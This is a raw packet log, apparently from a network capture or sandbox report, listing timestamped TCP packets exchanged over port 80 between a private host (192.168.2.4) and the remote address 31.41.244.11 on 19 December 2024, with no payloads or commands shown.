Dec 19, 2024 06:09:51.911407948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.911475897 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.912494898 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.912550926 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.912722111 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.913569927 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.913662910 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.913714886 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.914117098 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.914639950 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.914694071 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.914738894 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.914855957 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.915761948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.915831089 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.915860891 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.915925026 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.916914940 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.917043924 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.917068958 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.917138100 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.918026924 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.918081045 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.918123007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.918169022 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.919147968 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.919199944 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.919230938 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.919281006 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.920182943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.920236111 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.920384884 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.920442104 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.921315908 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.921437979 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.921492100 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.922389030 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.922456026 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.922493935 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.923535109 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.923557043 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.923623085 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.923652887 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.924580097 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.924623966 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.924669981 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.924707890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.924850941 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.925765038 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.925803900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.925820112 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.925842047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.926841974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.926913977 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.926949024 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.927054882 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.927932978 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.928066015 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.928152084 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.929069042 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.929130077 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.929141045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.929219007 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.930176020 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.930314064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.930352926 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.930387974 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.931356907 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.931372881 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.931536913 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.932437897 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.932461977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.932490110 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.932506084 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.933470011 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.933538914 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.933577061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.934026003 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.934560061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.934655905 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.934695959 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.934739113 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.935688019 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.935794115 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.935822964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.936187983 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.936805010 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.936958075 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.937231064 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.937925100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.938081980 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.938110113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.938148022 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.939002037 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.939096928 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.939121962 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.939230919 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.940217018 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.940232992 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.940295935 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:51.941170931 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:51.942219019 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.075236082 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.075349092 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.075475931 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.075814009 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.075829983 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.076000929 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.076879978 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.077040911 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.077156067 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.078082085 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.078099012 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.078182936 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.078183889 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.079091072 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.079153061 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.079199076 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.079291105 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.080220938 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.080338001 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.080399990 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.081336021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.081428051 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.081489086 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.082413912 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.082526922 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.082559109 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.083519936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.083591938 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.083622932 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.084055901 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.084676981 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.084703922 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.084908009 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.085803032 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.085885048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.085990906 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.086886883 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.086944103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.087050915 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.087979078 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.088040113 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.088069916 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.089068890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.089140892 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.089212894 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.090198040 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.090259075 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.090257883 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.090399027 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.091280937 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.091377974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.091433048 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.092426062 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.092479944 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.092561007 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.093499899 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.093549967 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.093586922 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.094007015 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.094623089 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.094702005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.094772100 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.095781088 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.095813990 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.095895052 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.096823931 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.096889019 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.096916914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.096961975 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.097912073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.097966909 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.098058939 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.098107100 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.099028111 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.099138021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.099188089 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.100126028 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.100316048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.100470066 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.101275921 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.101370096 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.101427078 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.102412939 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.102494955 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.102603912 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.103447914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.103526115 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.103578091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.104038954 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.104567051 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.104659081 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.104722977 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.105701923 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.105789900 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.105819941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.105914116 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.106756926 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.106853962 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.106884003 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.107594013 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.107858896 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.107914925 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.107999086 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.109004974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.109138012 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.109139919 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.110107899 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.110187054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.110217094 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.110279083 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.111244917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.111354113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.111404896 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.112418890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.112435102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.112481117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.113430977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.113507032 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.113534927 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.114613056 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.114686012 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.114703894 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.115648985 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.115698099 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.115737915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.115786076 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.116745949 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.116846085 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.117014885 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.117850065 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.117969036 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.118021965 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.118969917 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.119020939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.119116068 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.120069981 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.120100021 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.120191097 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.120277882 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.121608019 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.121644974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.121696949 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.122340918 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.122440100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.122500896 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.123404026 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.123500109 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.123511076 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.124037981 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.124531031 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.124598980 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.124612093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.125597954 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.125742912 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.125767946 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.126789093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.126849890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.126871109 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.127892971 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.127907991 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.127947092 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.127974987 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.128943920 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.129055977 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.129158974 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.130079985 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.130142927 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.130218029 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.131184101 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.131329060 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.131448030 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.132258892 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.132369995 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.132455111 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.133310080 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.133439064 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.267438889 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.267679930 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.267796040 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.267988920 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.268080950 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.268152952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.269077063 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.269130945 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.269213915 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.270243883 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.270284891 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.270322084 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.271559000 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.271642923 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.271672964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.271739960 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.272480965 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.272559881 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.272681952 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.273531914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.273649931 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.273699045 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.274657011 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.274703979 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.274739981 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.275749922 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.275912046 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.275939941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.276140928 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.276865959 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.277066946 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.277164936 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.277990103 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.278072119 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.278125048 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.279139996 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.279194117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.279202938 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.280042887 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.280188084 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.280276060 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.280302048 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.280419111 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.281399012 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.281451941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.281471014 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.282385111 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.282538891 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.282586098 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.283567905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.283617020 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.283652067 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.284070969 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.284660101 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.284728050 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.284817934 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.285800934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.285818100 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.285876989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.285876989 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:52.286815882 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:52.286941051 CET	80	49860	31.41.244.11	192.168.2.4
